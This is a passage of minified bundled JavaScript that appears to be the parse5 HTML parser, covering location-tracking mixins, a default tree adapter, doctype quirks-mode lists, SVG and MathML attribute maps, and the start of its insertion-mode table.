A=this.entries.pop();if(this.length--,A.type===KS.MARKER_ENTRY)break}}getElementEntryInScopeWithTagName(A){for(let K=this.length-1;K>=0;K--){let q=this.entries[K];if(q.type===KS.MARKER_ENTRY)return null;if(this.treeAdapter.getTagName(q.element)===A)return q}return null}getElementEntry(A){for(let K=this.length-1;K>=0;K--){let q=this.entries[K];if(q.type===KS.ELEMENT_ENTRY&&q.element===A)return q}return null}}KS.MARKER_ENTRY="MARKER_ENTRY";KS.ELEMENT_ENTRY="ELEMENT_ENTRY";ME7.exports=KS});var DB=v(($_H,VE7)=>{class yf6{constructor(A){let K={},q=this._getOverriddenMethods(this,K);for(let Y of Object.keys(q))if(typeof q[Y]==="function")K[Y]=A[Y],A[Y]=q[Y]}_getOverriddenMethods(){throw Error("Not implemented")}}yf6.install=function(A,K,q){if(!A.__mixins)A.__mixins=[];for(let z=0;z<A.__mixins.length;z++)if(A.__mixins[z].constructor===K)return A.__mixins[z];let Y=new K(A,q);return A.__mixins.push(Y),Y};VE7.exports=yf6});var If6=v((__H,NE7)=>{var BgY=DB();class fE7 extends BgY{constructor(A){super(A);this.preprocessor=A,this.isEol=!1,this.lineStartPos=0,this.droppedBufferSize=0,this.offset=0,this.col=0,this.line=1}_getOverriddenMethods(A,K){return{advance(){let q=this.pos+1,Y=this.html[q];if(A.isEol)A.isEol=!1,A.line++,A.lineStartPos=q;if(Y===` `||Y==="\r"&&this.html[q+1]!==` `)A.isEol=!0;return A.col=q-A.lineStartPos+1,A.offset=A.droppedBufferSize+q,K.advance.call(this)},retreat(){K.retreat.call(this),A.isEol=!1,A.col=this.pos-A.lineStartPos+1},dropParsedChunk(){let q=this.pos;K.dropParsedChunk.call(this);let Y=q-this.pos;A.lineStartPos-=Y,A.droppedBufferSize+=Y,A.offset=A.droppedBufferSize+this.pos}}}}NE7.exports=fE7});var hf6=v((G_H,EE7)=>{var TE7=DB(),Sf6=BmA(),mgY=If6();class vE7 extends TE7{constructor(A){super(A);this.tokenizer=A,this.posTracker=TE7.install(A.preprocessor,mgY),this.currentAttrLocation=null,this.ctLoc=null}_getCurrentLocation(){return{startLine:this.posTracker.line,startCol:this.posTracker.col,startOffset:this.posTracker.offset,endLine:-1,endCol:-1,endOffset:-1}}_attachCurrentAttrLocationInfo(){this.currentAttrLocation.endLine=this.posTracker.line,this.currentAttrLocation.endCol=this.posTracker.col,this.currentAttrLocation.endOffset=this.posTracker.offset;let A=this.tokenizer.currentToken,K=this.tokenizer.currentAttr;if(!A.location.attrs)A.location.attrs=Object.create(null);A.location.attrs[K.name]=this.currentAttrLocation}_getOverriddenMethods(A,K){let q={_createStartTagToken(){K._createStartTagToken.call(this),this.currentToken.location=A.ctLoc},_createEndTagToken(){K._createEndTagToken.call(this),this.currentToken.location=A.ctLoc},_createCommentToken(){K._createCommentToken.call(this),this.currentToken.location=A.ctLoc},_createDoctypeToken(Y){K._createDoctypeToken.call(this,Y),this.currentToken.location=A.ctLoc},_createCharacterToken(Y,z){K._createCharacterToken.call(this,Y,z),this.currentCharacterToken.location=A.ctLoc},_createEOFToken(){K._createEOFToken.call(this),this.currentToken.location=A._getCurrentLocation()},_createAttr(Y){K._createAttr.call(this,Y),A.currentAttrLocation=A._getCurrentLocation()},_leaveAttrName(Y){K._leaveAttrName.call(this,Y),A._attachCurrentAttrLocationInfo()},_leaveAttrValue(Y){K._leaveAttrValue.call(this,Y),A._attachCurrentAttrLocationInfo()},_emitCurrentToken(){let Y=this.currentToken.location;if(this.currentCharacterToken)this.currentCharacterToken.location.endLine=Y.startLine,this.currentCharacterToken.location.endCol=Y.startCol,this.currentCharacterToken.location.endOffset=Y.startOffset;if(this.currentToken.type===Sf6.EOF_TOKEN)Y.endLine=Y.startLine,Y.endCol=Y.startCol,Y.endOffset=Y.startOffset;else Y.endLine=A.posTracker.line,Y.endCol=A.posTracker.col+1,Y.endOffset=A.posTracker.offset+1;K._emitCurrentToken.call(this)},_emitCurrentCharacterToken(){let Y=this.currentCharacterToken&&this.currentCharacterToken.location;if(Y&&Y.endOffset===-1)Y.endLine=A.posTracker.line,Y.endCol=A.posTracker.col,Y.endOffset=A.posTracker.offset;K._emitCurrentCharacterToken.call(this)}};return Object.keys(Sf6.MODE).forEach((Y)=>{let z=Sf6.MODE[Y];q[z]=function(w){A.ctLoc=A._getCurrentLocation(),K[z].call(this,w)}}),q}}EE7.exports=vE7});var LE7=v((Z_H,CE7)=>{var ggY=DB();class kE7 extends ggY{constructor(A,K){super(A);this.onItemPop=K.onItemPop}_getOverriddenMethods(A,K){return{pop(){A.onItemPop(this.current),K.pop.call(this)},popAllUpToHtmlElement(){for(let q=this.stackTop;q>0;q--)A.onItemPop(this.items[q]);K.popAllUpToHtmlElement.call(this)},remove(q){A.onItemPop(this.current),K.remove.call(this,q)}}}}CE7.exports=kE7});var SE7=v((W_H,IE7)=>{var bf6=DB(),RE7=BmA(),FgY=hf6(),QgY=LE7(),UgY=Ts(),xf6=UgY.TAG_NAMES;class yE7 extends bf6{constructor(A){super(A);this.parser=A,this.treeAdapter=this.parser.treeAdapter,this.posTracker=null,this.lastStartTagToken=null,this.lastFosterParentingLocation=null,this.currentToken=null}_setStartLocation(A){let K=null;if(this.lastStartTagToken)K=Object.assign({},this.lastStartTagToken.location),K.startTag=this.lastStartTagToken.location;this.treeAdapter.setNodeSourceCodeLocation(A,K)}_setEndLocation(A,K){let q=this.treeAdapter.getNodeSourceCodeLocation(A);if(q){if(K.location){let Y=K.location,z=this.treeAdapter.getTagName(A);if(K.type===RE7.END_TAG_TOKEN&&z===K.tagName)q.endTag=Object.assign({},Y),q.endLine=Y.endLine,q.endCol=Y.endCol,q.endOffset=Y.endOffset;else q.endLine=Y.startLine,q.endCol=Y.startCol,q.endOffset=Y.startOffset}}}_getOverriddenMethods(A,K){return{_bootstrap(q,Y){K._bootstrap.call(this,q,Y),A.lastStartTagToken=null,A.lastFosterParentingLocation=null,A.currentToken=null;let z=bf6.install(this.tokenizer,FgY);A.posTracker=z.posTracker,bf6.install(this.openElements,QgY,{onItemPop:function(w){A._setEndLocation(w,A.currentToken)}})},_runParsingLoop(q){K._runParsingLoop.call(this,q);for(let Y=this.openElements.stackTop;Y>=0;Y--)A._setEndLocation(this.openElements.items[Y],A.currentToken)},_processTokenInForeignContent(q){A.currentToken=q,K._processTokenInForeignContent.call(this,q)},_processToken(q){if(A.currentToken=q,K._processToken.call(this,q),q.type===RE7.END_TAG_TOKEN&&(q.tagName===xf6.HTML||q.tagName===xf6.BODY&&this.openElements.hasInScope(xf6.BODY)))for(let z=this.openElements.stackTop;z>=0;z--){let w=this.openElements.items[z];if(this.treeAdapter.getTagName(w)===q.tagName){A._setEndLocation(w,q);break}}},_setDocumentType(q){K._setDocumentType.call(this,q);let Y=this.treeAdapter.getChildNodes(this.document),z=Y.length;for(let w=0;w<z;w++){let H=Y[w];if(this.treeAdapter.isDocumentTypeNode(H)){this.treeAdapter.setNodeSourceCodeLocation(H,q.location);break}}},_attachElementToTree(q){A._setStartLocation(q),A.lastStartTagToken=null,K._attachElementToTree.call(this,q)},_appendElement(q,Y){A.lastStartTagToken=q,K._appendElement.call(this,q,Y)},_insertElement(q,Y){A.lastStartTagToken=q,K._insertElement.call(this,q,Y)},_insertTemplate(q){A.lastStartTagToken=q,K._insertTemplate.call(this,q);let Y=this.treeAdapter.getTemplateContent(this.openElements.current);this.treeAdapter.setNodeSourceCodeLocation(Y,null)},_insertFakeRootElement(){K._insertFakeRootElement.call(this),this.treeAdapter.setNodeSourceCodeLocation(this.openElements.current,null)},_appendCommentNode(q,Y){K._appendCommentNode.call(this,q,Y);let z=this.treeAdapter.getChildNodes(Y),w=z[z.length-1];this.treeAdapter.setNodeSourceCodeLocation(w,q.location)},_findFosterParentingLocation(){return A.lastFosterParentingLocation=K._findFosterParentingLocation.call(this),A.lastFosterParentingLocation},_insertCharacters(q){K._insertCharacters.call(this,q);let Y=this._shouldFosterParentOnInsertion(),z=Y&&A.lastFosterParentingLocation.parent||this.openElements.currentTmplContent||this.openElements.current,w=this.treeAdapter.getChildNodes(z),H=Y&&A.lastFosterParentingLocation.beforeElement?w.indexOf(A.lastFosterParentingLocation.beforeElement)-1:w.length-1,J=w[H],O=this.treeAdapter.getNodeSourceCodeLocation(J);if(O)O.endLine=q.location.endLine,O.endCol=q.location.endCol,O.endOffset=q.location.endOffset;else this.treeAdapter.setNodeSourceCodeLocation(J,q.location)}}}}IE7.exports=yE7});var KZ1=v((D_H,bE7)=>{var pgY=DB();class hE7 extends pgY{constructor(A,K){super(A);this.posTracker=null,this.onParseError=K.onParseError}_setErrorLocation(A){A.startLine=A.endLine=this.posTracker.line,A.startCol=A.endCol=this.posTracker.col,A.startOffset=A.endOffset=this.posTracker.offset}_reportError(A){let K={code:A,startLine:-1,startCol:-1,startOffset:-1,endLine:-1,endCol:-1,endOffset:-1};this._setErrorLocation(K),this.onParseError(K)}_getOverriddenMethods(A){return{_err(K){A._reportError(K)}}}}bE7.exports=hE7});var BE7=v((j_H,uE7)=>{var dgY=KZ1(),cgY=If6(),lgY=DB();class xE7 extends dgY{constructor(A,K){super(A,K);this.posTracker=lgY.install(A,cgY),this.lastErrOffset=-1}_reportError(A){if(this.lastErrOffset!==this.posTracker.offset)this.lastErrOffset=this.posTracker.offset,super._reportError(A)}}uE7.exports=xE7});var FE7=v((M_H,gE7)=>{var igY=KZ1(),ngY=BE7(),rgY=DB();class mE7 extends igY{constructor(A,K){super(A,K);let q=rgY.install(A.preprocessor,ngY,K);this.posTracker=q.posTracker}}gE7.exports=mE7});var dE7=v((P_H,pE7)=>{var ogY=KZ1(),agY=FE7(),sgY=hf6(),QE7=DB();class UE7 extends ogY{constructor(A,K){super(A,K);this.opts=K,this.ctLoc=null,this.locBeforeToken=!1}_setErrorLocation(A){if(this.ctLoc)A.startLine=this.ctLoc.startLine,A.startCol=this.ctLoc.startCol,A.startOffset=this.ctLoc.startOffset,A.endLine=this.locBeforeToken?this.ctLoc.startLine:this.ctLoc.endLine,A.endCol=this.locBeforeToken?this.ctLoc.startCol:this.ctLoc.endCol,A.endOffset=this.locBeforeToken?this.ctLoc.startOffset:this.ctLoc.endOffset}_getOverriddenMethods(A,K){return{_bootstrap(q,Y){K._bootstrap.call(this,q,Y),QE7.install(this.tokenizer,agY,A.opts),QE7.install(this.tokenizer,sgY)},_processInputToken(q){A.ctLoc=q.location,K._processInputToken.call(this,q)},_err(q,Y){A.locBeforeToken=Y&&Y.beforeToken,A._reportError(q)}}}}pE7.exports=UE7});var uf6=v((AFY)=>{var{DOCUMENT_MODE:tgY}=Ts();AFY.createDocument=function(){return{nodeName:"#document",mode:tgY.NO_QUIRKS,childNodes:[]}};AFY.createDocumentFragment=function(){return{nodeName:"#document-fragment",childNodes:[]}};AFY.createElement=function(A,K,q){return{nodeName:A,tagName:A,attrs:q,namespaceURI:K,childNodes:[],parentNode:null}};AFY.createCommentNode=function(A){return{nodeName:"#comment",data:A,parentNode:null}};var cE7=function(A){return{nodeName:"#text",value:A,parentNode:null}},lE7=AFY.appendChild=function(A,K){A.childNodes.push(K),K.parentNode=A},egY=AFY.insertBefore=function(A,K,q){let Y=A.childNodes.indexOf(q);A.childNodes.splice(Y,0,K),K.parentNode=A};AFY.setTemplateContent=function(A,K){A.content=K};AFY.getTemplateContent=function(A){return A.content};AFY.setDocumentType=function(A,K,q,Y){let z=null;for(let w=0;w<A.childNodes.length;w++)if(A.childNodes[w].nodeName==="#documentType"){z=A.childNodes[w];break}if(z)z.name=K,z.publicId=q,z.systemId=Y;else lE7(A,{nodeName:"#documentType",name:K,publicId:q,systemId:Y})};AFY.setDocumentMode=function(A,K){A.mode=K};AFY.getDocumentMode=function(A){return A.mode};AFY.detachNode=function(A){if(A.parentNode){let K=A.parentNode.childNodes.indexOf(A);A.parentNode.childNodes.splice(K,1),A.parentNode=null}};AFY.insertText=function(A,K){if(A.childNodes.length){let q=A.childNodes[A.childNodes.length-1];if(q.nodeName==="#text"){q.value+=K;return}}lE7(A,cE7(K))};AFY.insertTextBefore=function(A,K,q){let Y=A.childNodes[A.childNodes.indexOf(q)-1];if(Y&&Y.nodeName==="#text")Y.value+=K;else egY(A,cE7(K),q)};AFY.adoptAttributes=function(A,K){let q=[];for(let Y=0;Y<A.attrs.length;Y++)q.push(A.attrs[Y].name);for(let Y=0;Y<K.length;Y++)if(q.indexOf(K[Y].name)===-1)A.attrs.push(K[Y])};AFY.getFirstChild=function(A){return A.childNodes[0]};AFY.getChildNodes=function(A){return A.childNodes};AFY.getParentNode=function(A){return A.parentNode};AFY.getAttrList=function(A){return A.attrs};AFY.getTagName=function(A){return A.tagName};AFY.getNamespaceURI=function(A){return A.namespaceURI};AFY.getTextNodeContent=function(A){return A.value};AFY.getCommentNodeContent=function(A){return A.data};AFY.getDocumentTypeNodeName=function(A){return A.name};AFY.getDocumentTypeNodePublicId=function(A){return A.publicId};AFY.getDocumentTypeNodeSystemId=function(A){return A.systemId};AFY.isTextNode=function(A){return A.nodeName==="#text"};AFY.isCommentNode=function(A){return A.nodeName==="#comment"};AFY.isDocumentTypeNode=function(A){return A.nodeName==="#documentType"};AFY.isElementNode=function(A){return!!A.tagName};AFY.setNodeSourceCodeLocation=function(A,K){A.sourceCodeLocation=K};AFY.getNodeSourceCodeLocation=function(A){return A.sourceCodeLocation}});var Bf6=v((T_H,iE7)=>{iE7.exports=function(K,q){return q=q||Object.create(null),[K,q].reduce((Y,z)=>{return Object.keys(z).forEach((w)=>{Y[w]=z[w]}),Y},Object.create(null))}});var mf6=v((xFY)=>{var{DOCUMENT_MODE:dWA}=Ts(),oE7=["+//silmaril//dtd html pro v0r11 19970101//","-//as//dtd html 3.0 aswedit + extensions//","-//advasoft ltd//dtd html 3.0 aswedit + extensions//","-//ietf//dtd html 2.0 level 1//","-//ietf//dtd html 2.0 level 2//","-//ietf//dtd html 2.0 strict level 1//","-//ietf//dtd html 2.0 strict level 2//","-//ietf//dtd html 2.0 strict//","-//ietf//dtd html 2.0//","-//ietf//dtd html 2.1e//","-//ietf//dtd html 3.0//","-//ietf//dtd html 3.2 final//","-//ietf//dtd html 3.2//","-//ietf//dtd html 3//","-//ietf//dtd html level 0//","-//ietf//dtd html level 1//","-//ietf//dtd html level 2//","-//ietf//dtd html level 3//","-//ietf//dtd html strict level 0//","-//ietf//dtd html strict level 1//","-//ietf//dtd html strict level 2//","-//ietf//dtd html strict level 3//","-//ietf//dtd html strict//","-//ietf//dtd html//","-//metrius//dtd metrius presentational//","-//microsoft//dtd internet explorer 2.0 html strict//","-//microsoft//dtd internet explorer 2.0 html//","-//microsoft//dtd internet explorer 2.0 tables//","-//microsoft//dtd internet explorer 3.0 html strict//","-//microsoft//dtd internet explorer 3.0 html//","-//microsoft//dtd internet explorer 3.0 tables//","-//netscape comm. corp.//dtd html//","-//netscape comm. corp.//dtd strict html//","-//o'reilly and associates//dtd html 2.0//","-//o'reilly and associates//dtd html extended 1.0//","-//o'reilly and associates//dtd html extended relaxed 1.0//","-//sq//dtd html 2.0 hotmetal + extensions//","-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//","-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//","-//spyglass//dtd html 2.0 extended//","-//sun microsystems corp.//dtd hotjava html//","-//sun microsystems corp.//dtd hotjava strict html//","-//w3c//dtd html 3 1995-03-24//","-//w3c//dtd html 3.2 draft//","-//w3c//dtd html 3.2 final//","-//w3c//dtd html 3.2//","-//w3c//dtd html 3.2s draft//","-//w3c//dtd html 4.0 frameset//","-//w3c//dtd html 4.0 transitional//","-//w3c//dtd html experimental 19960712//","-//w3c//dtd html experimental 970421//","-//w3c//dtd w3 html//","-//w3o//dtd w3 html 3.0//","-//webtechs//dtd mozilla html 2.0//","-//webtechs//dtd mozilla html//"],SFY=oE7.concat(["-//w3c//dtd html 4.01 frameset//","-//w3c//dtd html 4.01 transitional//"]),hFY=["-//w3o//dtd w3 html strict 3.0//en//","-/w3c/dtd html 4.0 transitional/en","html"],aE7=["-//w3c//dtd xhtml 1.0 frameset//","-//w3c//dtd xhtml 1.0 transitional//"],bFY=aE7.concat(["-//w3c//dtd html 4.01 frameset//","-//w3c//dtd html 4.01 transitional//"]);function nE7(A){let K=A.indexOf('"')!==-1?"'":'"';return K+A+K}function rE7(A,K){for(let q=0;q<K.length;q++)if(A.indexOf(K[q])===0)return!0;return!1}xFY.isConforming=function(A){return A.name==="html"&&A.publicId===null&&(A.systemId===null||A.systemId==="about:legacy-compat")};xFY.getDocumentMode=function(A){if(A.name!=="html")return dWA.QUIRKS;let K=A.systemId;if(K&&K.toLowerCase()==="http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd")return dWA.QUIRKS;let q=A.publicId;if(q!==null){if(q=q.toLowerCase(),hFY.indexOf(q)>-1)return dWA.QUIRKS;let Y=K===null?SFY:oE7;if(rE7(q,Y))return dWA.QUIRKS;if(Y=K===null?aE7:bFY,rE7(q,Y))return dWA.LIMITED_QUIRKS}return dWA.NO_QUIRKS};xFY.serializeContent=function(A,K,q){let Y="!DOCTYPE ";if(A)Y+=A;if(K)Y+=" PUBLIC "+nE7(K);else if(q)Y+=" SYSTEM";if(q!==null)Y+=" "+nE7(q);return Y}});var tE7=v((cFY)=>{var gf6=BmA(),Ff6=Ts(),rK=Ff6.TAG_NAMES,ZW=Ff6.NAMESPACES,qZ1=Ff6.ATTRS,sE7={TEXT_HTML:"text/html",APPLICATION_XML:"application/xhtml+xml"},gFY={attributename:"attributeName",attributetype:"attributeType",basefrequency:"baseFrequency",baseprofile:"baseProfile",calcmode:"calcMode",clippathunits:"clipPathUnits",diffuseconstant:"diffuseConstant",edgemode:"edgeMode",filterunits:"filterUnits",glyphref:"glyphRef",gradienttransform:"gradientTransform",gradientunits:"gradientUnits",kernelmatrix:"kernelMatrix",kernelunitlength:"kernelUnitLength",keypoints:"keyPoints",keysplines:"keySplines",keytimes:"keyTimes",lengthadjust:"lengthAdjust",limitingconeangle:"limitingConeAngle",markerheight:"markerHeight",markerunits:"markerUnits",markerwidth:"markerWidth",maskcontentunits:"maskContentUnits",maskunits:"maskUnits",numoctaves:"numOctaves",pathlength:"pathLength",patterncontentunits:"patternContentUnits",patterntransform:"patternTransform",patternunits:"patternUnits",pointsatx:"pointsAtX",pointsaty:"pointsAtY",pointsatz:"pointsAtZ",preservealpha:"preserveAlpha",preserveaspectratio:"preserveAspectRatio",primitiveunits:"primitiveUnits",refx:"refX",refy:"refY",repeatcount:"repeatCount",repeatdur:"repeatDur",requiredextensions:"requiredExtensions",requiredfeatures:"requiredFeatures",specularconstant:"specularConstant",specularexponent:"specularExponent",spreadmethod:"spreadMethod",startoffset:"startOffset",stddeviation:"stdDeviation",stitchtiles:"stitchTiles",surfacescale:"surfaceScale",systemlanguage:"systemLanguage",tablevalues:"tableValues",targetx:"targetX",targety:"targetY",textlength:"textLength",viewbox:"viewBox",viewtarget:"viewTarget",xchannelselector:"xChannelSelector",ychannelselector:"yChannelSelector",zoomandpan:"zoomAndPan"},FFY={"xlink:actuate":{prefix:"xlink",name:"actuate",namespace:ZW.XLINK},"xlink:arcrole":{prefix:"xlink",name:"arcrole",namespace:ZW.XLINK},"xlink:href":{prefix:"xlink",name:"href",namespace:ZW.XLINK},"xlink:role":{prefix:"xlink",name:"role",namespace:ZW.XLINK},"xlink:show":{prefix:"xlink",name:"show",namespace:ZW.XLINK},"xlink:title":{prefix:"xlink",name:"title",namespace:ZW.XLINK},"xlink:type":{prefix:"xlink",name:"type",namespace:ZW.XLINK},"xml:base":{prefix:"xml",name:"base",namespace:ZW.XML},"xml:lang":{prefix:"xml",name:"lang",namespace:ZW.XML},"xml:space":{prefix:"xml",name:"space",namespace:ZW.XML},xmlns:{prefix:"",name:"xmlns",namespace:ZW.XMLNS},"xmlns:xlink":{prefix:"xmlns",name:"xlink",namespace:ZW.XMLNS}},QFY=cFY.SVG_TAG_NAMES_ADJUSTMENT_MAP={altglyph:"altGlyph",altglyphdef:"altGlyphDef",altglyphitem:"altGlyphItem",animatecolor:"animateColor",animatemotion:"animateMotion",animatetransform:"animateTransform",clippath:"clipPath",feblend:"feBlend",fecolormatrix:"feColorMatrix",fecomponenttransfer:"feComponentTransfer",fecomposite:"feComposite",feconvolvematrix:"feConvolveMatrix",fediffuselighting:"feDiffuseLighting",fedisplacementmap:"feDisplacementMap",fedistantlight:"feDistantLight",feflood:"feFlood",fefunca:"feFuncA",fefuncb:"feFuncB",fefuncg:"feFuncG",fefuncr:"feFuncR",fegaussianblur:"feGaussianBlur",feimage:"feImage",femerge:"feMerge",femergenode:"feMergeNode",femorphology:"feMorphology",feoffset:"feOffset",fepointlight:"fePointLight",fespecularlighting:"feSpecularLighting",fespotlight:"feSpotLight",fetile:"feTile",feturbulence:"feTurbulence",foreignobject:"foreignObject",glyphref:"glyphRef",lineargradient:"linearGradient",radialgradient:"radialGradient",textpath:"textPath"},UFY={[rK.B]:!0,[rK.BIG]:!0,[rK.BLOCKQUOTE]:!0,[rK.BODY]:!0,[rK.BR]:!0,[rK.CENTER]:!0,[rK.CODE]:!0,[rK.DD]:!0,[rK.DIV]:!0,[rK.DL]:!0,[rK.DT]:!0,[rK.EM]:!0,[rK.EMBED]:!0,[rK.H1]:!0,[rK.H2]:!0,[rK.H3]:!0,[rK.H4]:!0,[rK.H5]:!0,[rK.H6]:!0,[rK.HEAD]:!0,[rK.HR]:!0,[rK.I]:!0,[rK.IMG]:!0,[rK.LI]:!0,[rK.LISTING]:!0,[rK.MENU]:!0,[rK.META]:!0,[rK.NOBR]:!0,[rK.OL]:!0,[rK.P]:!0,[rK.PRE]:!0,[rK.RUBY]:!0,[rK.S]:!0,[rK.SMALL]:!0,[rK.SPAN]:!0,[rK.STRONG]:!0,[rK.STRIKE]:!0,[rK.SUB]:!0,[rK.SUP]:!0,[rK.TABLE]:!0,[rK.TT]:!0,[rK.U]:!0,[rK.UL]:!0,[rK.VAR]:!0};cFY.causesExit=function(A){let K=A.tagName;return K===rK.FONT&&(gf6.getTokenAttr(A,qZ1.COLOR)!==null||gf6.getTokenAttr(A,qZ1.SIZE)!==null||gf6.getTokenAttr(A,qZ1.FACE)!==null)?!0:UFY[K]};cFY.adjustTokenMathMLAttrs=function(A){for(let K=0;K<A.attrs.length;K++)if(A.attrs[K].name==="definitionurl"){A.attrs[K].name="definitionURL";break}};cFY.adjustTokenSVGAttrs=function(A){for(let K=0;K<A.attrs.length;K++){let q=gFY[A.attrs[K].name];if(q)A.attrs[K].name=q}};cFY.adjustTokenXMLAttrs=function(A){for(let K=0;K<A.attrs.length;K++){let q=FFY[A.attrs[K].name];if(q)A.attrs[K].prefix=q.prefix,A.attrs[K].name=q.name,A.attrs[K].namespace=q.namespace}};cFY.adjustTokenSVGTagName=function(A){let K=QFY[A.tagName];if(K)A.tagName=K};function pFY(A,K){return K===ZW.MATHML&&(A===rK.MI||A===rK.MO||A===rK.MN||A===rK.MS||A===rK.MTEXT)}function dFY(A,K,q){if(K===ZW.MATHML&&A===rK.ANNOTATION_XML){for(let Y=0;Y<q.length;Y++)if(q[Y].name===qZ1.ENCODING){let z=q[Y].value.toLowerCase();return z===sE7.TEXT_HTML||z===sE7.APPLICATION_XML}}return K===ZW.SVG&&(A===rK.FOREIGN_OBJECT||A===rK.DESC||A===rK.TITLE)}cFY.isIntegrationPoint=function(A,K,q,Y){if((!Y||Y===ZW.HTML)&&dFY(A,K,q))return!0;if((!Y||Y===ZW.MATHML)&&pFY(A,K))return!0;return!1}});var Mk7=v((C_H,jk7)=>{var h1=BmA(),sFY=jE7(),eE7=PE7(),tFY=SE7(),eFY=dE7(),Ak7=DB(),AQY=uf6(),KQY=Bf6(),Kk7=mf6(),jB=tE7(),WW=tG1(),qQY=sG1(),G5A=Ts(),kA=G5A.TAG_NAMES,g7=G5A.NAMESPACES,_k7=G5A.ATTRS,YQY={scriptingEnabled:!0,sourceCodeLocationInfo:!1,onParseError:null,treeAdapter:AQY},zQY={[kA.TR]:"IN_ROW_MODE",[kA.TBODY]:"IN_TABLE_BODY_MODE",[kA.THEAD]:"IN_TABLE_BODY_MODE",[kA.TFOOT]:"IN_TABLE_BODY_MODE",[kA.CAPTION]:"IN_CAPTION_MODE",[kA.COLGROUP]:"IN_COLUMN_GROUP_MODE",[kA.TABLE]:"IN_TABLE_MODE",[kA.BODY]:"IN_BODY_MODE",[kA.FRAMESET]:"IN_FRAMESET_MODE"},wQY={[kA.CAPTION]:"IN_TABLE_MODE",[kA.COLGROUP]:"IN_TABLE_MODE",[kA.TBODY]:"IN_TABLE_MODE",[kA.TFOOT]:"IN_TABLE_MODE",[kA.THEAD]:"IN_TABLE_MODE",[kA.COL]:"IN_COLUMN_GROUP_MODE",[kA.TR]:"IN_TABLE_BODY_MODE",[kA.TD]:"IN_ROW_MODE",[kA.TH]:"IN_ROW_MODE"},qk7={["INITIAL_MODE"]:{[h1.CHARACTER_TOKEN]:gmA,[h1.NULL_CHARACTER_TOKEN]:gmA,[h1.WHITESPACE_CHARACTER_TOKEN]:KY,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:ZQY,[h1.START_TAG_TOKEN]:gmA,[h1.END_TAG_TOKEN]:gmA,[h1.EOF_TOKEN]:gmA},["BEFORE_HTML_MODE"]:{[h1.CHARACTER_TOKEN]:QmA,[h1.NULL_CHARACTER_TOKEN]:QmA,[h1.WHITESPACE_CHARACTER_TOKEN]:KY,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:WQY,[h1.END_TAG_TOKEN]:DQY,[h1.EOF_TOKEN]:QmA},["BEFORE_HEAD_MODE"]:{[h1.CHARACTER_TOKEN]:UmA,[h1.NULL_CHARACTER_TOKEN]:UmA,[h1.WHITESPACE_CHARACTER_TOKEN]:KY,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:YZ1,[h1.START_TAG_TOKEN]:jQY,[h1.END_TAG_TOKEN]:MQY,[h1.EOF_TOKEN]:UmA},["IN_HEAD_MODE"]:{[h1.CHARACTER_TOKEN]:pmA,[h1.NULL_CHARACTER_TOKEN]:pmA,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:YZ1,[h1.START_TAG_TOKEN]:BG,[h1.END_TAG_TOKEN]:Z5A,[h1.EOF_TOKEN]:pmA},["IN_HEAD_NO_SCRIPT_MODE"]:{[h1.CHARACTER_TOKEN]:dmA,[h1.NULL_CHARACTER_TOKEN]:dmA,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:YZ1,[h1.START_TAG_TOKEN]:PQY,[h1.END_TAG_TOKEN]:VQY,[h1.EOF_TOKEN]:dmA},["AFTER_HEAD_MODE"]:{[h1.CHARACTER_TOKEN]:cmA,[h1.NULL_CHARACTER_TOKEN]:cmA,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:YZ1,[h1.START_TAG_TOKEN]:fQY,[h1.END_TAG_TOKEN]:NQY,[h1.EOF_TOKEN]:cmA},["IN_BODY_MODE"]:{[h1.CHARACTER_TOKEN]:zZ1,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:Rf,[h1.END_TAG_TOKEN]:Qf6,[h1.EOF_TOKEN]:Fp},["TEXT_MODE"]:{[h1.CHARACTER_TOKEN]:Lf,[h1.NULL_CHARACTER_TOKEN]:Lf,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:KY,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:KY,[h1.END_TAG_TOKEN]:tQY,[h1.EOF_TOKEN]:eQY},["IN_TABLE_MODE"]:{[h1.CHARACTER_TOKEN]:Qp,[h1.NULL_CHARACTER_TOKEN]:Qp,[h1.WHITESPACE_CHARACTER_TOKEN]:Qp,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:Uf6,[h1.END_TAG_TOKEN]:pf6,[h1.EOF_TOKEN]:Fp},["IN_TABLE_TEXT_MODE"]:{[h1.CHARACTER_TOKEN]:XUY,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:OUY,[h1.COMMENT_TOKEN]:FmA,[h1.DOCTYPE_TOKEN]:FmA,[h1.START_TAG_TOKEN]:FmA,[h1.END_TAG_TOKEN]:FmA,[h1.EOF_TOKEN]:FmA},["IN_CAPTION_MODE"]:{[h1.CHARACTER_TOKEN]:zZ1,[h1.NULL_CHARACTER_TOKEN]:KY,[h1.WHITESPACE_CHARACTER_TOKEN]:_5A,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:$UY,[h1.END_TAG_TOKEN]:_UY,[h1.EOF_TOKEN]:Fp},["IN_COLUMN_GROUP_MODE"]:{[h1.CHARACTER_TOKEN]:HZ1,[h1.NULL_CHARACTER_TOKEN]:HZ1,[h1.WHITESPACE_CHARACTER_TOKEN]:Lf,[h1.COMMENT_TOKEN]:D_,[h1.DOCTYPE_TOKEN]:KY,[h1.START_TAG_TOKEN]:GUY,[h1.END_TAG_TOKEN]:ZUY,[h1.EOF_TOKEN]:Fp},["IN_TABLE_BODY_MODE"]:{[